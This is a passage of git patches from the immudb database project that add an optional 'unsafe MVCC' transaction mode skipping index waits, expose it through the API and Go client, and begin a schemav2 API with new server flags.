s, entriesByKey: make(map[[sha256.Size]byte]int), ts: time.Now(), + unsafeMVCC: opts.UnsafeMVCC, } if opts.Mode == WriteOnlyTx { diff --git a/embedded/store/ongoing_tx_options.go b/embedded/store/ongoing_tx_options.go index d0d083443b..74c3240d22 100644 --- a/embedded/store/ongoing_tx_options.go +++ b/embedded/store/ongoing_tx_options.go @@ -38,6 +38,9 @@ type TxOptions struct { SnapshotMustIncludeTxID func(lastPrecommittedTxID uint64) uint64 // SnapshotRenewalPeriod determines for how long a snaphsot may reuse existent dumped root SnapshotRenewalPeriod time.Duration + + // MVCC does not wait for indexing to be up to date + UnsafeMVCC bool } func DefaultTxOptions() *TxOptions { @@ -46,6 +49,7 @@ func DefaultTxOptions() *TxOptions { SnapshotMustIncludeTxID: func(lastPrecommittedTxID uint64) uint64 { return lastPrecommittedTxID }, + UnsafeMVCC: false, } } @@ -75,3 +79,8 @@ func (opts *TxOptions) WithSnapshotRenewalPeriod(snapshotRenewalPeriod time.Dura opts.SnapshotRenewalPeriod = snapshotRenewalPeriod return opts } + +func (opts *TxOptions) WithUnsafeMVCC(unsafeMVCC bool) *TxOptions { + opts.UnsafeMVCC = unsafeMVCC + return opts +} From fe23ffca79bca8ae0634bd4466eb52016d82935f Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 2 Mar 2023 19:50:39 -0300 Subject: [PATCH 0274/1062] chore(embedded/store): multi-tx unsafe mvcc Signed-off-by: Jeronimo Irazabal --- embedded/sql/engine.go | 30 +----------------------------- embedded/sql/engine_test.go | 14 ++------------ embedded/sql/sql_tx.go | 10 ++++++---- embedded/store/immustore.go | 22 +++++++++++++++++----- embedded/store/ongoing_tx.go | 6 ++++++ 5 files changed, 32 insertions(+), 50 deletions(-) diff --git a/embedded/sql/engine.go b/embedded/sql/engine.go index 004623e4f6..c809a910d1 100644 --- a/embedded/sql/engine.go +++ b/embedded/sql/engine.go @@ -106,8 +106,6 @@ type Engine struct { multidbHandler MultiDBHandler - lastCatalogTxID uint64 - mutex sync.RWMutex } @@ -190,35 +188,9 @@ func (e *Engine) NewTx(ctx context.Context, opts *TxOptions) (*SQLTx, error) { mode = store.ReadWriteTx } - var snapshotMustIncludeTxID func(lastPrecommittedTxID uint64) uint64 - // If last tx modifying the schema is not set, indexing must to be up-to-date. - // At least that requirement is at commit time, - // but it's set during tx initialization to simplify commit steps - - if opts.UnsafeMVCC && e.lastCatalogTxID > 0 { - snapshotMustIncludeTxID = func(lastPrecommittedTxID uint64) uint64 { - // return the greatest value e.lastCatalogTxID and opts.SnapshotMustIncludeTxID - if opts.SnapshotMustIncludeTxID == nil { - return e.lastCatalogTxID - } - - providedTxID := opts.SnapshotMustIncludeTxID(lastPrecommittedTxID) - - if e.lastCatalogTxID < providedTxID { - return providedTxID - } - - return e.lastCatalogTxID - } - } else { - snapshotMustIncludeTxID = func(lastPrecommittedTxID uint64) uint64 { - return lastPrecommittedTxID - } - } - txOpts := &store.TxOptions{ Mode: mode, - SnapshotMustIncludeTxID: snapshotMustIncludeTxID, + SnapshotMustIncludeTxID: opts.SnapshotMustIncludeTxID, SnapshotRenewalPeriod: opts.SnapshotRenewalPeriod, UnsafeMVCC: opts.UnsafeMVCC, } diff --git a/embedded/sql/engine_test.go b/embedded/sql/engine_test.go index 198652f1de..367e9b65af 100644 --- a/embedded/sql/engine_test.go +++ b/embedded/sql/engine_test.go @@ -6169,27 +6169,19 @@ func BenchmarkInsertInto(b *testing.B) { b.Fail() } - // TODO: lastCatalogTxID automatically managed by the engine - engine.lastCatalogTxID = ctxs[0].txHeader.ID - b.ResetTimer() for i := 0; i < b.N; i++ { var wg sync.WaitGroup wg.Add(workerCount) - stmts, err := Parse(strings.NewReader("INSERT INTO mytable1(id, title) VALUES (@id, @title);")) - if err != nil { - b.Fail() - } - for w := 0; w < workerCount; w++ { go func(r, w int) { for i := 0; i < txCount; i++ { txOpts := DefaultTxOptions(). WithExplicitClose(true). WithUnsafeMVCC(true). - WithSnapshotMustIncludeTxID(func(lastPrecommittedTxID uint64) uint64 { return 0 }) + WithSnapshotMustIncludeTxID(func(lastPrecommittedTxID uint64) uint64 { return ctxs[0].txHeader.ID }) tx, err := engine.NewTx(context.Background(), txOpts) if err != nil { @@ -6202,8 +6194,7 @@ func BenchmarkInsertInto(b *testing.B) { "title": fmt.Sprintf("title_%d_%d_%d_%d", r, w, i, j), } - //_, _, err = engine.Exec(context.Background(), tx, "INSERT INTO mytable1(id, title) VALUES (@id, @title);", params) - _, _, err = engine.ExecPreparedStmts(context.Background(), tx, stmts, params) + _, _, err = engine.Exec(context.Background(), tx, "INSERT INTO mytable1(id, title) VALUES (@id, @title);", params) if err != nil { b.Fail() } @@ -6211,7 +6202,6 @@ func BenchmarkInsertInto(b *testing.B) { } err = tx.Commit(context.Background()) - //err = tx.Cancel() if err != nil { b.Fail() } diff --git a/embedded/sql/sql_tx.go b/embedded/sql/sql_tx.go index 7b7c6dfc03..0c27242aa2 100644 --- a/embedded/sql/sql_tx.go +++ b/embedded/sql/sql_tx.go @@ -35,6 +35,8 @@ type SQLTx struct { currentDB *Database catalog *Catalog // in-mem catalog + mutatedCatalog bool // set when a DDL stmt was executed within the current tx + updatedRows int lastInsertedPKs map[string]int64 // last inserted PK by table name firstInsertedPKs map[string]int64 // first inserted PK by table name @@ -137,18 +139,18 @@ func (sqlTx *SQLTx) Cancel() error { return sqlTx.tx.Cancel() } -func (sqlTx *SQLTx) Commit(ctx context.Context) error { +func (sqlTx *SQLTx) Commit(ctx context.Context) (err error) { sqlTx.committed = true sqlTx.closed = true + sqlTx.tx.RequireMVCCOnFollowingTxs(sqlTx.mutatedCatalog) + // no need to wait for indexing to be up to date during commit phase - hdr, err := sqlTx.tx.AsyncCommit(ctx) + sqlTx.txHeader, err = sqlTx.tx.AsyncCommit(ctx) if err != nil && err != store.ErrorNoEntriesProvided { return err } - sqlTx.txHeader = hdr - return nil } diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index 4a378a2a5c..27b2bbbcb4 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -159,6 +159,8 @@ type ImmuStore struct { precommittedTxLogSize int64 + mandatoryMVCCUpToTxID uint64 + commitStateRWMutex sync.RWMutex readOnly bool @@ -1268,12 +1270,18 @@ func (s *ImmuStore) precommit(ctx context.Context, otx *OngoingTx, hdr *TxHeader } if otx.hasPreconditions() { - if !otx.unsafeMVCC { + var waitForIndexingUpto uint64 + + if otx.unsafeMVCC && s.mandatoryMVCCUpToTxID > 0 { + waitForIndexingUpto = s.mandatoryMVCCUpToTxID + } else { // Preconditions must be executed with up-to-date tree - err = s.WaitForIndexingUpto(ctx, currPrecomittedTxID) - if err != nil { - return nil, err - } + waitForIndexingUpto = currPrecomittedTxID + } + + err = s.WaitForIndexingUpto(ctx, waitForIndexingUpto) + if err != nil { + return nil, err } err = otx.checkPreconditions(s) @@ -1291,6 +1299,10 @@ func (s *ImmuStore) precommit(ctx context.Context, otx *OngoingTx, hdr *TxHeader return nil, err } + if otx.requireMVCCOnFollowingTxs { + s.mandatoryMVCCUpToTxID = tx.header.ID + } + return tx.Header(), err } diff --git a/embedded/store/ongoing_tx.go b/embedded/store/ongoing_tx.go index a38ea0123f..897f35b5cf 100644 --- a/embedded/store/ongoing_tx.go +++ b/embedded/store/ongoing_tx.go @@ -34,6 +34,8 @@ type OngoingTx struct { readOnly bool // MVCC validations are not needed for read-only transactions unsafeMVCC bool + requireMVCCOnFollowingTxs bool + entries []*EntrySpec entriesByKey map[[sha256.Size]byte]int @@ -420,6 +422,10 @@ func (tx *OngoingTx) NewKeyReader(spec KeyReaderSpec) (KeyReader, error) { return newOngoingTxKeyReader(tx, spec) } +func (tx *OngoingTx) RequireMVCCOnFollowingTxs(requireMVCCOnFollowingTxs bool) { + tx.requireMVCCOnFollowingTxs = requireMVCCOnFollowingTxs +} + func (tx *OngoingTx) Commit(ctx context.Context) (*TxHeader, error) { return tx.commit(ctx, true) } From dcadeb7ce38e1de4d3bb406fca9145b7771609d0 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 2 Mar 2023 23:04:41 -0300 Subject: [PATCH 0275/1062] chore(embedded/sql): ddl stmts register catalog mutation Signed-off-by: Jeronimo Irazabal --- embedded/sql/stmt.go | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index af17e225fa..9ca60060eb 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -218,6 +218,8 @@ func (stmt *CreateDatabaseStmt) execAt(ctx context.Context, tx *SQLTx, params ma return nil, err } + tx.mutatedCatalog = true + return tx, nil } @@ -345,6 +347,8 @@ func (stmt *CreateTableStmt) execAt(ctx context.Context, tx *SQLTx, params map[s return nil, err } + tx.mutatedCatalog = true + return tx, nil } @@ -441,6 +445,8 @@ func (stmt *CreateIndexStmt) execAt(ctx context.Context, tx *SQLTx, params map[s return nil, err } + tx.mutatedCatalog = true + return tx, nil } @@ -473,6 +479,8 @@ func (stmt *AddColumnStmt) execAt(ctx context.Context, tx *SQLTx, params map[str return nil, err } + tx.mutatedCatalog = true + return tx, nil } @@ -506,6 +514,8 @@ func (stmt *RenameColumnStmt) execAt(ctx context.Context, tx *SQLTx, params map[ return nil, err } + tx.mutatedCatalog = true + return tx, nil } From 8359db3a54f6d4448a27856d0235e0b85750e263 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 2 Mar 2023 23:27:14 -0300 Subject: [PATCH 0276/1062] chore(pkg/api): expose support for unsafe mvcc transactions Signed-off-by: Jeronimo Irazabal --- pkg/api/schema/docs.md | 1 + pkg/api/schema/schema.pb.go | 15 +++++++++++++-- pkg/api/schema/schema.proto | 2 ++ pkg/server/transaction.go | 2 ++ 4 files changed, 18 insertions(+), 2 deletions(-) diff --git a/pkg/api/schema/docs.md b/pkg/api/schema/docs.md index fae977b465..79d293ab1f 100644 --- a/pkg/api/schema/docs.md +++ b/pkg/api/schema/docs.md @@ -1150,6 +1150,7 @@ DEPRECATED | mode | [TxMode](#immudb.schema.TxMode) | | Transaction mode | | snapshotMustIncludeTxID | [NullableUint64](#immudb.schema.NullableUint64) | | An existing snapshot may be reused as long as it includes the specified transaction If not specified it will include up to the latest precommitted transaction | | snapshotRenewalPeriod | [NullableMilliseconds](#immudb.schema.NullableMilliseconds) | | An existing snapshot may be reused as long as it is not older than the specified timeframe | +| unsafeMVCC | [bool](#bool) | | Indexing may not be up to date when doing MVCC | diff --git a/pkg/api/schema/schema.pb.go b/pkg/api/schema/schema.pb.go index f379f3624d..49907c151f 100644 --- a/pkg/api/schema/schema.pb.go +++ b/pkg/api/schema/schema.pb.go @@ -8081,6 +8081,8 @@ type NewTxRequest struct { SnapshotMustIncludeTxID *NullableUint64 `protobuf:"bytes,2,opt,name=snapshotMustIncludeTxID,proto3" json:"snapshotMustIncludeTxID,omitempty"` // An existing snapshot may be reused as long as it is not older than the specified timeframe SnapshotRenewalPeriod *NullableMilliseconds `protobuf:"bytes,3,opt,name=snapshotRenewalPeriod,proto3" json:"snapshotRenewalPeriod,omitempty"` + // Indexing may not be up to date when doing MVCC + UnsafeMVCC bool `protobuf:"varint,4,opt,name=unsafeMVCC,proto3" json:"unsafeMVCC,omitempty"` } func (x *NewTxRequest) Reset() { @@ -8136,6 +8138,13 @@ func (x *NewTxRequest) GetSnapshotRenewalPeriod() *NullableMilliseconds { return nil } +func (x *NewTxRequest) GetUnsafeMVCC() bool { + if x != nil { + return x.UnsafeMVCC + } + return false +} + type NewTxResponse struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache @@ -9759,7 +9768,7 @@ var file_schema_proto_rawDesc = []byte{ 0x08, 0x48, 0x00, 0x52, 0x01, 0x62, 0x12, 0x10, 0x0a, 0x02, 0x62, 0x73, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0c, 0x48, 0x00, 0x52, 0x02, 0x62, 0x73, 0x12, 0x10, 0x0a, 0x02, 0x74, 0x73, 0x18, 0x06, 0x20, 0x01, 0x28, 0x03, 0x48, 0x00, 0x52, 0x02, 0x74, 0x73, 0x42, 0x07, 0x0a, 0x05, 0x76, 0x61, - 0x6c, 0x75, 0x65, 0x22, 0xed, 0x01, 0x0a, 0x0c, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x71, + 0x6c, 0x75, 0x65, 0x22, 0x8d, 0x02, 0x0a, 0x0c, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x29, 0x0a, 0x04, 0x6d, 0x6f, 0x64, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x4d, 0x6f, 0x64, 0x65, 0x52, 0x04, 0x6d, 0x6f, 0x64, 0x65, 0x12, @@ -9774,7 +9783,9 @@ var file_schema_proto_rawDesc = []byte{ 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x52, 0x15, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x6e, 0x65, 0x77, 0x61, 0x6c, 0x50, 0x65, 0x72, - 0x69, 0x6f, 0x64, 0x22, 0x35, 0x0a, 0x0d, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x73, 0x70, + 0x69, 0x6f, 0x64, 0x12, 0x1e, 0x0a, 0x0a, 0x75, 0x6e, 0x73, 0x61, 0x66, 0x65, 0x4d, 0x56, 0x43, + 0x43, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x75, 0x6e, 0x73, 0x61, 0x66, 0x65, 0x4d, + 0x56, 0x43, 0x43, 0x22, 0x35, 0x0a, 0x0d, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x22, 0x35, 0x0a, 0x09, 0x45, 0x72, diff --git a/pkg/api/schema/schema.proto b/pkg/api/schema/schema.proto index 00b8f8b2e2..20caf692bb 100644 --- a/pkg/api/schema/schema.proto +++ b/pkg/api/schema/schema.proto @@ -1440,6 +1440,8 @@ message NewTxRequest { NullableUint64 snapshotMustIncludeTxID = 2; // An existing snapshot may be reused as long as it is not older than the specified timeframe NullableMilliseconds snapshotRenewalPeriod = 3; + // Indexing may not be up to date when doing MVCC + bool unsafeMVCC = 4; } message NewTxResponse { diff --git a/pkg/server/transaction.go b/pkg/server/transaction.go index b2cd8b9f60..2ecabe6047 100644 --- a/pkg/server/transaction.go +++ b/pkg/server/transaction.go @@ -58,6 +58,8 @@ func (s *ImmuServer) NewTx(ctx context.Context, request *schema.NewTxRequest) (* opts.WithSnapshotRenewalPeriod(time.Duration(request.SnapshotRenewalPeriod.GetValue()) * time.Millisecond) } + opts.UnsafeMVCC = request.UnsafeMVCC + tx, err := sess.NewTransaction(ctx, opts) if err != nil { return nil, err From 9cf1277991fb6e26d18d99e43a2501a8e24a47a2 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Fri, 3 Mar 2023 00:16:55 -0300 Subject: [PATCH 0277/1062] feat(pkg/client): optional tx options are now available during the creation process Signed-off-by: Jeronimo Irazabal --- pkg/client/client.go | 2 +- pkg/client/transaction.go | 15 +++++-- pkg/client/tx_options.go | 57 ++++++++++++++++++++++++++ pkg/integration/tx/transaction_test.go | 2 +- 4 files changed, 71 insertions(+), 5 deletions(-) create mode 100644 pkg/client/tx_options.go diff --git a/pkg/client/client.go b/pkg/client/client.go index 07d80284e5..2dcd44ff8d 100644 --- a/pkg/client/client.go +++ b/pkg/client/client.go @@ -507,7 +507,7 @@ type ImmuClient interface { // NewTx starts a new transaction. // // Note: Currently such transaction can only be used for SQL operations. - NewTx(ctx context.Context) (Tx, error) + NewTx(ctx context.Context, opts ...TxOption) (Tx, error) // TruncateDatabase truncates a database. // This truncates the locally stored value log files used by the database. diff --git a/pkg/client/transaction.go b/pkg/client/transaction.go index e03d62cd85..ce639956bd 100644 --- a/pkg/client/transaction.go +++ b/pkg/client/transaction.go @@ -59,14 +59,23 @@ func (c *tx) Rollback(ctx context.Context) error { return errors.FromError(err) } -func (c *immuClient) NewTx(ctx context.Context) (Tx, error) { +func (c *immuClient) NewTx(ctx context.Context, opts ...TxOption) (Tx, error) { if !c.IsConnected() { return nil, errors.FromError(ErrNotConnected) } - r, err := c.ServiceClient.NewTx(ctx, &schema.NewTxRequest{ + req := &schema.NewTxRequest{ Mode: schema.TxMode_ReadWrite, - }) + } + + for _, opt := range opts { + err := opt(req) + if err != nil { + return nil, err + } + } + + r, err := c.ServiceClient.NewTx(ctx, req) if err != nil { return nil, errors.FromError(err) } diff --git a/pkg/client/tx_options.go b/pkg/client/tx_options.go new file mode 100644 index 0000000000..a6e6532c04 --- /dev/null +++ b/pkg/client/tx_options.go @@ -0,0 +1,57 @@ +/* +Copyright 2022 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +package client + +import ( + "time" + + "github.com/codenotary/immudb/pkg/api/schema" +) + +// TxOption is used to set additional options when creating a transaction with a NewTx call +type TxOption func(req *schema.NewTxRequest) error + +// UnsafeMVCC option means the server is not forced to wait for the indexer +// to be up-to-date with the most recent transaction during conflict detection. +// +// In practice this means that the user will get the result faster with the +// risk of inconsistencies if another transaction invalidated the data read by this transaction. +// +// This option may be useful when it's guaranteed that related data is not concurrently +// written. +func UnsafeMVCC() TxOption { + return func(req *schema.NewTxRequest) error { + req.UnsafeMVCC = true + return nil + } +} + +// An existing snapshot may be reused as long as it includes the specified transaction +func SnapshotMustInclude(txID uint64) TxOption { + return func(req *schema.NewTxRequest) error { + req.SnapshotMustIncludeTxID = &schema.NullableUint64{Value: txID} + return nil + } +} + +// An existing snapshot may be reused as long as it is not older than the specified timeframe +func SnapshotRenewalPeriod(renewalPeriod time.Duration) TxOption { + return func(req *schema.NewTxRequest) error { + req.SnapshotRenewalPeriod = &schema.NullableMilliseconds{Value: renewalPeriod.Milliseconds()} + return nil + } +} diff --git a/pkg/integration/tx/transaction_test.go b/pkg/integration/tx/transaction_test.go index 7e43338887..b6a4058fb1 100644 --- a/pkg/integration/tx/transaction_test.go +++ b/pkg/integration/tx/transaction_test.go @@ -48,7 +48,7 @@ func TestTransaction_SetAndGet(t *testing.T) { _, client := setupTest(t) // tx mode - tx, err := client.NewTx(context.Background()) + tx, err := client.NewTx(context.Background(), ic.UnsafeMVCC()) require.NoError(t, err) err = tx.SQLExec(context.Background(), `CREATE TABLE table1( From 31ae9358385538385a0676d1a0b1b0fedc4a52d7 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Fri, 3 Mar 2023 00:21:27 -0300 Subject: [PATCH 0278/1062] test(pkg/integration): minor code readability change Signed-off-by: Jeronimo Irazabal --- pkg/integration/tx/transaction_test.go | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/pkg/integration/tx/transaction_test.go b/pkg/integration/tx/transaction_test.go index b6a4058fb1..d0c58abe49 100644 --- a/pkg/integration/tx/transaction_test.go +++ b/pkg/integration/tx/transaction_test.go @@ -21,21 +21,21 @@ import ( "testing" "github.com/codenotary/immudb/pkg/api/schema" - ic "github.com/codenotary/immudb/pkg/client" + immudb "github.com/codenotary/immudb/pkg/client" "github.com/codenotary/immudb/pkg/client/errors" "github.com/codenotary/immudb/pkg/server" "github.com/codenotary/immudb/pkg/server/servertest" "github.com/stretchr/testify/require" ) -func setupTest(t *testing.T) (*servertest.BufconnServer, ic.ImmuClient) { +func setupTest(t *testing.T) (*servertest.BufconnServer, immudb.ImmuClient) { options := server.DefaultOptions().WithDir(t.TempDir()) bs := servertest.NewBufconnServer(options) bs.Start() t.Cleanup(func() { bs.Stop() }) - cliOpts := ic.DefaultOptions().WithDir(t.TempDir()) + cliOpts := immudb.DefaultOptions().WithDir(t.TempDir()) client, err := bs.NewAuthenticatedClient(cliOpts) require.NoError(t, err) @@ -48,7 +48,7 @@ func TestTransaction_SetAndGet(t *testing.T) { _, client := setupTest(t) // tx mode - tx, err := client.NewTx(context.Background(), ic.UnsafeMVCC()) + tx, err := client.NewTx(context.Background(), immudb.UnsafeMVCC()) require.NoError(t, err) err = tx.SQLExec(context.Background(), `CREATE TABLE table1( @@ -148,7 +148,7 @@ func TestTransaction_ChangingDBOnSessionNoError(t *testing.T) { err = txDefaultDB.SQLExec(context.Background(), `CREATE TABLE tableDefaultDB(id INTEGER,PRIMARY KEY id);`, nil) require.NoError(t, err) - client2, err := bs.NewAuthenticatedClient(ic.DefaultOptions().WithDir(t.TempDir())) + client2, err := bs.NewAuthenticatedClient(immudb.DefaultOptions().WithDir(t.TempDir())) require.NoError(t, err) err = client2.CreateDatabase(context.Background(), &schema.DatabaseSettings{DatabaseName: "db2"}) From 499c1d9b2763094769c836c3feaafade8d32c05d Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Adam=20Ra=C5=BAniewski?= Date: Thu, 16 Feb 2023 10:39:48 +0100 Subject: [PATCH 0279/1062] Enable reflections, schema definition start, new flags --- Makefile | 36 + cmd/immudb/command/parse_options.go | 9 +- pkg/api/schemav2/docs.md | 337 +++++++ pkg/api/schemav2/schemav2.pb.go | 1146 ++++++++++++++++++++++++ pkg/api/schemav2/schemav2.pb.gw.go | 574 ++++++++++++ pkg/api/schemav2/schemav2.proto | 143 +++ pkg/api/schemav2/schemav2.swagger.json | 825 +++++++++++++++++ pkg/api/schemav2/schemav2_grpc.pb.go | 281 ++++++ pkg/server/options.go | 155 ++-- pkg/server/server.go | 4 + 10 files changed, 3442 insertions(+), 68 deletions(-) create mode 100644 pkg/api/schemav2/docs.md create mode 100644 pkg/api/schemav2/schemav2.pb.go create mode 100644 pkg/api/schemav2/schemav2.pb.gw.go create mode 100644 pkg/api/schemav2/schemav2.proto create mode 100644 pkg/api/schemav2/schemav2.swagger.json create mode 100644 pkg/api/schemav2/schemav2_grpc.pb.go diff --git a/Makefile b/Makefile index 15eb7748f8..593cb44086 100644 --- a/Makefile +++ b/Makefile @@ -175,6 +175,42 @@ build/codegen: --doc_out=pkg/api/schema --doc_opt=markdown,docs.md \ --plugin=protoc-gen-doc=$(PWD)/scripts/protoc-gen-doc +.PHONY: build/codegenv2 +build/codegenv2: + $(PROTOC) -I pkg/api/schemav2/ pkg/api/schemav2/schemav2.proto \ + -I pkg/api/schema/ \ + -I$(GOPATH)/pkg/mod \ + -I$(GOPATH)/pkg/mod/github.com/grpc-ecosystem/grpc-gateway@$(GRPC_GATEWAY_VERSION)/third_party/googleapis \ + -I$(GOPATH)/pkg/mod/github.com/grpc-ecosystem/grpc-gateway@$(GRPC_GATEWAY_VERSION) \ + --go_out=paths=source_relative:pkg/api/schemav2 \ + --go-grpc_out=require_unimplemented_servers=false,paths=source_relative:pkg/api/schemav2 \ + --plugin=protoc-gen-go=$(PWD)/scripts/protoc-gen-go \ + --plugin=protoc-gen-go-grpc=$(PWD)/scripts/protoc-gen-go-grpc + + $(PROTOC) -I pkg/api/schemav2/ pkg/api/schemav2/schemav2.proto \ + -I pkg/api/schema/ \ + -I$(GOPATH)/pkg/mod \ + -I$(GOPATH)/pkg/mod/github.com/grpc-ecosystem/grpc-gateway@$(GRPC_GATEWAY_VERSION)/third_party/googleapis \ + -I$(GOPATH)/pkg/mod/github.com/grpc-ecosystem/grpc-gateway@$(GRPC_GATEWAY_VERSION) \ + --grpc-gateway_out=logtostderr=true,paths=source_relative:pkg/api/schemav2 \ + --plugin=protoc-gen-grpc-gateway=$(PWD)/scripts/protoc-gen-grpc-gateway + + $(PROTOC) -I pkg/api/schemav2/ pkg/api/schemav2/schemav2.proto \ + -I pkg/api/schema/ \ + -I$(GOPATH)/pkg/mod \ + -I$(GOPATH)/pkg/mod/github.com/grpc-ecosystem/grpc-gateway@$(GRPC_GATEWAY_VERSION)/third_party/googleapis \ + -I$(GOPATH)/pkg/mod/github.com/grpc-ecosystem/grpc-gateway@$(GRPC_GATEWAY_VERSION) \ + --swagger_out=logtostderr=true:pkg/api/schemav2 \ + --plugin=protoc-gen-swagger=$(PWD)/scripts/protoc-gen-swagger + + $(PROTOC) -I pkg/api/schemav2/ pkg/api/schemav2/schemav2.proto \ + -I pkg/api/schema/ \ + -I$(GOPATH)/pkg/mod \ + -I$(GOPATH)/pkg/mod/github.com/grpc-ecosystem/grpc-gateway@$(GRPC_GATEWAY_VERSION)/third_party/googleapis \ + -I$(GOPATH)/pkg/mod/github.com/grpc-ecosystem/grpc-gateway@$(GRPC_GATEWAY_VERSION) \ + --doc_out=pkg/api/schemav2 --doc_opt=markdown,docs.md \ + --plugin=protoc-gen-doc=$(PWD)/scripts/protoc-gen-doc + .PHONY: clean clean: rm -rf immudb immuclient immuadmin immutest ./webconsole/dist diff --git a/cmd/immudb/command/parse_options.go b/cmd/immudb/command/parse_options.go index db9ac8a780..9fdd27fa90 100644 --- a/cmd/immudb/command/parse_options.go +++ b/cmd/immudb/command/parse_options.go @@ -82,6 +82,10 @@ func parseOptions() (options *server.Options, err error) { pprof := viper.GetBool("pprof") + gatewayServerEnabled := viper.GetBool("restapi") + reflectionServerEnabled := viper.GetBool("reflection") + swaggerUIEnabled := viper.GetBool("swaggerui") + s3Storage := viper.GetBool("s3-storage") s3Endpoint := viper.GetString("s3-endpoint") s3AccessKeyID := viper.GetString("s3-access-key-id") @@ -140,7 +144,10 @@ func parseOptions() (options *server.Options, err error) { WithPgsqlServerPort(pgsqlServerPort). WithSessionOptions(sessionOptions). WithPProf(pprof). - WithLogFormat(logFormat) + WithLogFormat(logFormat). + WithGatewayServerEnabled(gatewayServerEnabled). + WithSwaggerUIEnabled(swaggerUIEnabled). + WithReflectionServerEnabled(reflectionServerEnabled) return options, nil } diff --git a/pkg/api/schemav2/docs.md b/pkg/api/schemav2/docs.md new file mode 100644 index 0000000000..597348dcd2 --- /dev/null +++ b/pkg/api/schemav2/docs.md @@ -0,0 +1,337 @@ +# Protocol Documentation + + +## Table of Contents + +- [schemav2.proto](#schemav2.proto) + - [CollectionCreateRequest](#immudb.schemav2.CollectionCreateRequest) + - [CollectionCreateRequest.IndexKeysEntry](#immudb.schemav2.CollectionCreateRequest.IndexKeysEntry) + - [CollectionCreateRequest.PrimaryKeysEntry](#immudb.schemav2.CollectionCreateRequest.PrimaryKeysEntry) + - [CollectionDeleteRequest](#immudb.schemav2.CollectionDeleteRequest) + - [CollectionInformation](#immudb.schemav2.CollectionInformation) + - [CollectionInformation.IndexKeysEntry](#immudb.schemav2.CollectionInformation.IndexKeysEntry) + - [CollectionInformation.PrimaryKeysEntry](#immudb.schemav2.CollectionInformation.PrimaryKeysEntry) + - [CollectionListRequest](#immudb.schemav2.CollectionListRequest) + - [CollectionListResponse](#immudb.schemav2.CollectionListResponse) + - [DocumentInsertRequest](#immudb.schemav2.DocumentInsertRequest) + - [DocumentSearchRequest](#immudb.schemav2.DocumentSearchRequest) + - [DocumentSearchRequest.QueryEntry](#immudb.schemav2.DocumentSearchRequest.QueryEntry) + - [DocumentSearchResponse](#immudb.schemav2.DocumentSearchResponse) + - [LoginRequest](#immudb.schemav2.LoginRequest) + - [LoginResponse](#immudb.schemav2.LoginResponse) + - [PossibleIndexValue](#immudb.schemav2.PossibleIndexValue) + + - [ImmuService](#immudb.schemav2.ImmuService) + +- [Scalar Value Types](#scalar-value-types) + + + + +

Top

+ +## schemav2.proto + + + + + +### CollectionCreateRequest + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| name | [string](#string) | | | +| primaryKeys | [CollectionCreateRequest.PrimaryKeysEntry](#immudb.schemav2.CollectionCreateRequest.PrimaryKeysEntry) | repeated | | +| indexKeys | [CollectionCreateRequest.IndexKeysEntry](#immudb.schemav2.CollectionCreateRequest.IndexKeysEntry) | repeated | | + + + + + + + + +### CollectionCreateRequest.IndexKeysEntry + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| key | [string](#string) | | | +| value | [PossibleIndexValue](#immudb.schemav2.PossibleIndexValue) | | | + + + + + + + + +### CollectionCreateRequest.PrimaryKeysEntry + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| key | [string](#string) | | | +| value | [PossibleIndexValue](#immudb.schemav2.PossibleIndexValue) | | | + + + + + + + + +### CollectionDeleteRequest + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| name | [string](#string) | | | + + + + + + + + +### CollectionInformation + + + +| Field | Type | Label | Description | +| 